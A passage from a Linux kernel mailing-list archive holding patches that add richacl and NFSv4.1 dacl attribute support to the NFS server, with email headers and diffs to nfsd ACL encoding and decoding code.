is_create_with_attrs(struct nfsd4_open *open) * in the returned attr bitmap. */ static void -do_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl, u32 *bmval) +do_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl, + u32 *bmval) { __be32 status; - status = nfsd4_set_nfs4_acl(rqstp, fhp, acl); + status = nfsd4_set_acl(rqstp, fhp, acl); if (status) /* * We should probably fail the whole open at this point, @@ -299,7 +299,7 @@ do_open_lookup(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, stru goto out; if (is_create_with_attrs(open) && open->op_acl != NULL) - do_set_nfs4_acl(rqstp, *resfh, open->op_acl, open->op_bmval); + do_set_acl(rqstp, *resfh, open->op_acl, open->op_bmval); nfsd4_set_open_owner_reply_cache(cstate, open, *resfh); accmode = NFSD_MAY_NOP; @@ -672,8 +672,7 @@ nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, nfsd4_security_inode_setsecctx(&resfh, &create->cr_label, create->cr_bmval); if (create->cr_acl != NULL) - do_set_nfs4_acl(rqstp, &resfh, create->cr_acl, - create->cr_bmval); + do_set_acl(rqstp, &resfh, create->cr_acl, create->cr_bmval); fh_unlock(&cstate->current_fh); set_change_info(&create->cr_cinfo, &cstate->current_fh); @@ -938,8 +937,8 @@ nfsd4_setattr(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, goto out; if (setattr->sa_acl != NULL) - status = nfsd4_set_nfs4_acl(rqstp, &cstate->current_fh, - setattr->sa_acl); + status = nfsd4_set_acl(rqstp, &cstate->current_fh, + setattr->sa_acl); if (status) goto out; if (setattr->sa_label.len) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index b8db5a7..8603f40 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -303,7 +303,7 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) static __be32 nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, - struct iattr *iattr, struct nfs4_acl **acl, + struct iattr *iattr, struct richacl **acl, struct xdr_netobj *label) { int expected_len, len = 0; @@ -326,38 +326,31 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, } if (bmval[0] & FATTR4_WORD0_ACL) { u32 nace; - struct nfs4_ace *ace; + struct richace *ace; READ_BUF(4); len += 4; nace = be32_to_cpup(p++); - if (nace > NFS4_ACL_MAX) + if (nace > NFSD4_ACL_MAX) return nfserr_fbig; - *acl = svcxdr_tmpalloc(argp, nfs4_acl_bytes(nace)); + *acl = svcxdr_alloc_richacl(argp, nace); if (*acl == NULL) return nfserr_jukebox; - (*acl)->naces = nace; - for (ace = (*acl)->aces; ace < (*acl)->aces + nace; ace++) { + richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->type = be32_to_cpup(p++); - ace->flag = be32_to_cpup(p++); - ace->access_mask = be32_to_cpup(p++); + ace->e_type = be32_to_cpup(p++); + ace->e_flags = be32_to_cpup(p++); + ace->e_mask = be32_to_cpup(p++); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + return nfserr_inval; dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; READMEM(buf, dummy32); - ace->whotype = nfs4_acl_get_whotype(buf, dummy32); - status = nfs_ok; - if (ace->whotype != NFS4_ACL_WHO_NAMED) - ; - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - status = nfsd_map_name_to_gid(argp->rqstp, - buf, dummy32, &ace->who_gid); - else - status = nfsd_map_name_to_uid(argp->rqstp, - buf, dummy32, &ace->who_uid); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); if (status) return status; } @@ -2148,18 +2141,6 @@ static u32 nfs4_file_type(umode_t mode) } static inline __be32 -nfsd4_encode_aclname(struct xdr_stream *xdr, struct svc_rqst *rqstp, - struct nfs4_ace *ace) -{ - if (ace->whotype != NFS4_ACL_WHO_NAMED) - return nfs4_acl_write_who(xdr, ace->whotype); - else if (ace->flag & NFS4_ACE_IDENTIFIER_GROUP) - return nfsd4_encode_group(xdr, rqstp, ace->who_gid); - else - return nfsd4_encode_user(xdr, rqstp, ace->who_uid); -} - -static inline __be32 nfsd4_encode_layout_type(struct xdr_stream *xdr, enum pnfs_layouttype layout_type) { __be32 *p; @@ -2303,7 +2284,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 rdattr_err = 0; __be32 status; int err; - struct nfs4_acl *acl = NULL; + struct richacl *acl = NULL; void *context = NULL; int contextlen; bool contextsupport = false; @@ -2349,7 +2330,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_nfs4_acl(rqstp, dentry, &acl); + err = nfsd4_get_acl(rqstp, dentry, &acl); if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2504,7 +2485,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct nfs4_ace *ace; + struct richace *ace; if (acl == NULL) { p = xdr_reserve_space(xdr, 4); @@ -2517,17 +2498,16 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(acl->naces); + *p++ = cpu_to_be32(acl->a_count); - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { + richacl_for_each_entry(ace, acl) { p = xdr_reserve_space(xdr, 4*3); if (!p) goto out_resource; - *p++ = cpu_to_be32(ace->type); - *p++ = cpu_to_be32(ace->flag); - *p++ = cpu_to_be32(ace->access_mask & - NFS4_ACE_MASK_ALL); - status = nfsd4_encode_aclname(xdr, rqstp, ace); + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) goto out; } @@ -2792,7 +2772,7 @@ out: if (context) security_release_secctx(context, contextlen); #endif /* CONFIG_NFSD_V4_SECURITY_LABEL */ - kfree(acl); + richacl_put(acl); if (tempfh) { fh_put(tempfh); kfree(tempfh); diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index b698585..c311066 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -118,7 +118,7 @@ struct nfsd4_create { u32 cr_bmval[3]; /* request */ struct iattr cr_iattr; /* request */ struct nfsd4_change_info cr_cinfo; /* response */ - struct nfs4_acl *cr_acl; + struct richacl *cr_acl; struct xdr_netobj cr_label; }; #define cr_datalen u.link.datalen @@ -248,7 +248,7 @@ struct nfsd4_open { struct nfs4_file *op_file; /* used during processing */ struct nfs4_ol_stateid *op_stp; /* used during processing */ struct nfs4_clnt_odstate *op_odstate; /* used during processing */ - struct nfs4_acl *op_acl; + struct richacl *op_acl; struct xdr_netobj op_label; }; @@ -332,7 +332,7 @@ struct nfsd4_setattr { stateid_t sa_stateid; /* request */ u32 sa_bmval[3]; /* request */ struct iattr sa_iattr; /* request */ - struct nfs4_acl *sa_acl; + struct richacl *sa_acl; struct xdr_netobj sa_label; }; diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 00121f2..1422fc6 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -16,29 +16,6 @@ #include #include -enum nfs4_acl_whotype { - NFS4_ACL_WHO_NAMED = 0, - NFS4_ACL_WHO_OWNER, - NFS4_ACL_WHO_GROUP, - NFS4_ACL_WHO_EVERYONE, -}; - -struct nfs4_ace { - uint32_t type; - uint32_t flag; - uint32_t access_mask; - int whotype; - union { - kuid_t who_uid; - kgid_t who_gid; - }; -}; - -struct nfs4_acl { - uint32_t naces; - struct nfs4_ace aces[0]; -}; - #define NFS4_MAXLABELLEN 2048 struct nfs4_label { diff --git a/include/linux/nfs4acl.h b/include/linux/nfs4acl.h new file mode 100644 index 0000000..db9f9a6 --- /dev/null +++ b/include/linux/nfs4acl.h @@ -0,0 +1,7 @@ +#ifndef __LINUX_NFS4ACL_H +#define __LINUX_NFS4ACL_H + +int nfs4acl_who_to_special_id(const char *, u32); +bool nfs4acl_special_id_to_who(unsigned int, const char **, unsigned int *); + +#endif -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DCC168011 for ; Fri, 16 Oct 2015 10:22:28 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 84293AC001 for ; Fri, 16 Oct 2015 08:22:28 -0700 (PDT) X-ASG-Debug-ID: 1445008946-04bdf06db272ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ba8QUleJIJjpEmIp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:27 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B2BE3330791; Fri, 16 Oct 2015 15:22:26 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcI011947; Fri, 16 Oct 2015 11:22:20 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 35/48] nfsd: Add richacl support Date: Fri, 16 Oct 2015 17:18:13 +0200 X-ASG-Orig-Subj: [PATCH v11 35/48] nfsd: Add richacl support Message-Id: <1445008706-15115-36-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008947 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On file systems with richacls enabled, get and set richacls directly instead of converting from / to posix acls. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/acl.h | 3 +- fs/nfsd/nfs4acl.c | 124 ++++++++++++++++++++++++++++++++++++++--------------- fs/nfsd/nfs4proc.c | 2 +- fs/nfsd/nfs4xdr.c | 34 +++++++++++---- 4 files changed, 117 insertions(+), 46 deletions(-) diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 1c5deb5..d73c664 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -53,8 +53,7 @@ __be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, __be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, struct richace *ace); -int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl); +struct richacl *nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry); __be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl); diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6d3bb72..f017a76 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -40,6 +40,8 @@ #include #include #include +#include +#include #include "nfsfh.h" #include "nfsd.h" @@ -129,32 +131,28 @@ static short ace2type(struct richace *); static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); -int -nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct richacl **acl) +static struct richacl * +nfsd4_get_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry) { struct inode *inode = d_inode(dentry); - int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; struct richacl_alloc alloc; unsigned int flags = 0; int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); - if (!pacl) - pacl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); - - if (IS_ERR(pacl)) - return PTR_ERR(pacl); + if (IS_ERR_OR_NULL(pacl)) + return (void *)pacl; - /* allocate for worst case: one (deny, allow) pair each: */ + /* Allocate for worst case: one (deny, allow) pair each. The resulting + acl will be released shortly and won't be cached. */ count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { - error = PTR_ERR(dpacl); + alloc.acl = (void *)dpacl; goto rel_pacl; } @@ -163,7 +161,7 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (!richacl_prepare(&alloc, count)) { - error = -ENOMEM; + alloc.acl = ERR_PTR(-ENOMEM); goto out; } @@ -172,13 +170,37 @@ nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, if (dpacl) _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); - *acl = alloc.acl; - out: posix_acl_release(dpacl); rel_pacl: posix_acl_release(pacl); - return error; + return alloc.acl; +} + +struct richacl * +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (IS_RICHACL(inode)) + acl = get_richacl(inode); + else + acl = nfsd4_get_posix_acl(rqstp, dentry); + if (IS_ERR(acl)) + return acl; + else if (acl == NULL) { + acl = richacl_from_mode(inode->i_mode); + if (acl == NULL) + acl = ERR_PTR(-ENOMEM); + } + error = richacl_apply_masks(&acl, inode->i_uid); + if (error) { + richacl_put(acl); + acl = ERR_PTR(error); + } + return acl; } struct posix_acl_summary { @@ -744,56 +766,88 @@ out_estate: return ret; } -__be32 -nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +static int +nfsd4_set_posix_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) { - __be32 error; int host_error; - struct dentry *dentry; - struct inode *inode; + struct inode *inode = d_inode(dentry); struct posix_acl *pacl = NULL, *dpacl = NULL; unsigned int flags = 0; - /* Get inode */ - error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); - if (error) - return error; - - dentry = fhp->fh_dentry; - inode = d_inode(dentry); - if (!inode->i_op->set_acl || !IS_POSIXACL(inode)) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (S_ISDIR(inode->i_mode)) flags = FLAG_DIRECTORY; host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) - return nfserr_attrnotsupp; + return -EOPNOTSUPP; if (host_error < 0) - goto out_nfserr; + return host_error; host_error = inode->i_op->set_acl(inode, pacl, ACL_TYPE_ACCESS); if (host_error < 0) goto out_release; - if (S_ISDIR(inode->i_mode)) { + if (S_ISDIR(inode->i_mode)) host_error = inode->i_op->set_acl(inode, dpacl, ACL_TYPE_DEFAULT); - } out_release: posix_acl_release(pacl); posix_acl_release(dpacl); -out_nfserr: + return host_error; +} + +static int +nfsd4_set_richacl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl *acl) +{ + int host_error; + struct inode *inode = d_inode(dentry); + size_t size = richacl_xattr_size(acl); + char *buffer; + + if (!inode->i_op->setxattr || !IS_RICHACL(inode)) + return -EOPNOTSUPP; + + richacl_compute_max_masks(acl); + + buffer = kmalloc(size, GFP_KERNEL); + if (!buffer) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, buffer, size); + host_error = inode->i_op->setxattr(dentry, XATTR_NAME_RICHACL, + buffer, size, 0); + kfree(buffer); + return host_error; +} + +__be32 +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) +{ + struct dentry *dentry; + int host_error; + __be32 error; + + error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); + if (error) + return error; + dentry = fhp->fh_dentry; + + if (IS_RICHACL(d_inode(dentry))) + host_error = nfsd4_set_richacl(rqstp, dentry, acl); + else + host_error = nfsd4_set_posix_acl(rqstp, dentry, acl); + if (host_error == -EOPNOTSUPP) return nfserr_attrnotsupp; else return nfserrno(host_error); } - static short ace2type(struct richace *ace) { diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 2430235..1bcfda2 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -110,7 +110,7 @@ check_attr_support(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, * in current environment or not. */ if (bmval[0] & FATTR4_WORD0_ACL) { - if (!IS_POSIXACL(d_inode(dentry))) + if (!IS_ACL(d_inode(dentry))) return nfserr_attrnotsupp; } diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 8603f40..682a7d8 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -340,11 +340,24 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, richacl_for_each_entry(ace, *acl) { READ_BUF(16); len += 16; - ace->e_type = be32_to_cpup(p++); - ace->e_flags = be32_to_cpup(p++); - ace->e_mask = be32_to_cpup(p++); - if (ace->e_flags & RICHACE_SPECIAL_WHO) + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACE_VALID_FLAGS | + RICHACE_INHERITED_ACE | + RICHACE_SPECIAL_WHO)) return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~NFS4_ACE_MASK_ALL) + return nfserr_inval; + ace->e_mask = dummy32; + dummy32 = be32_to_cpup(p++); READ_BUF(dummy32); len += XDR_QUADLEN(dummy32) << 2; @@ -2330,7 +2343,11 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, fhp = tempfh; } if (bmval0 & FATTR4_WORD0_ACL) { - err = nfsd4_get_acl(rqstp, dentry, &acl); + acl = nfsd4_get_acl(rqstp, dentry); + if (IS_ERR(acl)) { + err = PTR_ERR(acl); + acl = NULL; + } if (err == -EOPNOTSUPP) bmval0 &= ~FATTR4_WORD0_ACL; else if (err == -EINVAL) { @@ -2370,7 +2387,7 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, u32 word1 = nfsd_suppattrs1(minorversion); u32 word2 = nfsd_suppattrs2(minorversion); - if (!IS_POSIXACL(dentry->d_inode)) + if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; @@ -2505,7 +2522,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!p) goto out_resource; *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & ~RICHACE_SPECIAL_WHO); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); status = nfsd4_encode_ace_who(xdr, rqstp, ace); if (status) @@ -2517,7 +2535,7 @@ out_acl: p = xdr_reserve_space(xdr, 4); if (!p) goto out_resource; - *p++ = cpu_to_be32(IS_POSIXACL(dentry->d_inode) ? + *p++ = cpu_to_be32(IS_ACL(d_inode(dentry)) ? ACL4_SUPPORT_ALLOW_ACL|ACL4_SUPPORT_DENY_ACL : 0); } if (bmval0 & FATTR4_WORD0_CANSETTIME) { -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:39 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 270B17FB5 for ; Fri, 16 Oct 2015 10:22:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B703EAC002 for ; Fri, 16 Oct 2015 08:22:35 -0700 (PDT) X-ASG-Debug-ID: 1445008954-04bdf06db372cb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id DTFqOkojJurolT9b (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:34 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 7057A915A3; Fri, 16 Oct 2015 15:22:33 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcJ011947; Fri, 16 Oct 2015 11:22:27 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 36/48] nfsd: Add support for the v4.1 dacl attribute Date: Fri, 16 Oct 2015 17:18:14 +0200 X-ASG-Orig-Subj: [PATCH v11 36/48] nfsd: Add support for the v4.1 dacl attribute Message-Id: <1445008706-15115-37-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008954 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Richacls support the Automatic Inheritance permission propagation mechanism as specified in NFSv4.1. Over NFS, this requires support for the dacl attribute: compared to the acl attribute, the dacl attribute has an additional flags field which indicates when Automatic Inheritance is in use. The server will only indicate dacl attribute support in protocol version 4.1 and later, on file systems with richacl support. This commit also adds support for the NFSv4.1 NFS4_ACE_WRITE_RETENTION and NFS4_ACE_WRITE_RETENTION_HOLD ACL permissions. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 3 +- fs/nfsd/nfs4xdr.c | 219 ++++++++++++++++++++++++++++++---------------- fs/nfsd/nfsd.h | 6 +- include/linux/nfs4.h | 1 + include/uapi/linux/nfs4.h | 3 +- 5 files changed, 155 insertions(+), 77 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 1bcfda2..a053e78 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -1781,7 +1781,8 @@ static inline u32 nfsd4_getattr_rsize(struct svc_rqst *rqstp, u32 bmap0 = bmap[0], bmap1 = bmap[1], bmap2 = bmap[2]; u32 ret = 0; - if (bmap0 & FATTR4_WORD0_ACL) + if (bmap0 & FATTR4_WORD0_ACL || + bmap1 & FATTR4_WORD1_DACL) return svc_max_payload(rqstp); if (bmap0 & FATTR4_WORD0_FS_LOCATIONS) return svc_max_payload(rqstp); diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 682a7d8..33d028c 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -301,6 +301,68 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) DECODE_TAIL; } +static unsigned int +nfsd4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static __be32 +nfsd4_decode_acl_entries(struct nfsd4_compoundargs *argp, struct richacl **acl, + unsigned short flags_mask, unsigned int ace_mask, + int *plen) +{ + struct richace *ace; + u32 dummy32; + char *buf; + int len = 0; + + DECODE_HEAD; + + flags_mask &= RICHACE_VALID_FLAGS & ~RICHACE_SPECIAL_WHO; + + READ_BUF(4); len += 4; + dummy32 = be32_to_cpup(p++); + + if (dummy32 > NFSD4_ACL_MAX) + return nfserr_fbig; + + *acl = svcxdr_alloc_richacl(argp, dummy32); + if (*acl == NULL) + return nfserr_jukebox; + + richacl_for_each_entry(ace, *acl) { + READ_BUF(16); len += 16; + + dummy32 = be32_to_cpup(p++); + if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) + return nfserr_inval; + ace->e_type = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~flags_mask) + return nfserr_inval; + ace->e_flags = dummy32; + + dummy32 = be32_to_cpup(p++); + if (dummy32 & ~ace_mask) + return nfserr_inval; + ace->e_mask = dummy32; + + dummy32 = be32_to_cpup(p++); + READ_BUF(dummy32); + len += XDR_QUADLEN(dummy32) << 2; + READMEM(buf, dummy32); + status = nfsd4_decode_ace_who(ace, argp->rqstp, + buf, dummy32); + if (status) + return status; + } + *plen += len; + + DECODE_TAIL; +} + static __be32 nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, struct iattr *iattr, struct richacl **acl, @@ -312,6 +374,7 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, DECODE_HEAD; iattr->ia_valid = 0; + *acl = NULL; if ((status = nfsd4_decode_bitmap(argp, bmval))) return status; @@ -325,50 +388,18 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, iattr->ia_valid |= ATTR_SIZE; } if (bmval[0] & FATTR4_WORD0_ACL) { - u32 nace; - struct richace *ace; - - READ_BUF(4); len += 4; - nace = be32_to_cpup(p++); - - if (nace > NFSD4_ACL_MAX) - return nfserr_fbig; + if (bmval[1] & FATTR4_WORD1_DACL) + return nfserr_inval; - *acl = svcxdr_alloc_richacl(argp, nace); - if (*acl == NULL) + status = nfsd4_decode_acl_entries(argp, acl, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) return nfserr_jukebox; - - richacl_for_each_entry(ace, *acl) { - READ_BUF(16); len += 16; - - dummy32 = be32_to_cpup(p++); - if (dummy32 > RICHACE_ACCESS_DENIED_ACE_TYPE) - return nfserr_inval; - ace->e_type = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & (~RICHACE_VALID_FLAGS | - RICHACE_INHERITED_ACE | - RICHACE_SPECIAL_WHO)) - return nfserr_inval; - ace->e_flags = dummy32; - - dummy32 = be32_to_cpup(p++); - if (dummy32 & ~NFS4_ACE_MASK_ALL) - return nfserr_inval; - ace->e_mask = dummy32; - - dummy32 = be32_to_cpup(p++); - READ_BUF(dummy32); - len += XDR_QUADLEN(dummy32) << 2; - READMEM(buf, dummy32); - status = nfsd4_decode_ace_who(ace, argp->rqstp, - buf, dummy32); - if (status) - return status; - } - } else - *acl = NULL; + } if (bmval[1] & FATTR4_WORD1_MODE) { READ_BUF(4); len += 4; @@ -436,6 +467,22 @@ nfsd4_decode_fattr(struct nfsd4_compoundargs *argp, u32 *bmval, goto xdr_error; } } + if (bmval[1] & FATTR4_WORD1_DACL) { + READ_BUF(4); + len += 4; + dummy32 = be32_to_cpup(p++); + if (dummy32 & (~RICHACL_VALID_FLAGS | RICHACL_MASKED)) + return nfserr_inval; + status = nfsd4_decode_acl_entries(argp, acl, + ~0, + nfsd4_ace_mask(argp->minorversion), + &len); + if (status) + return status; + else if (*acl == NULL) + return 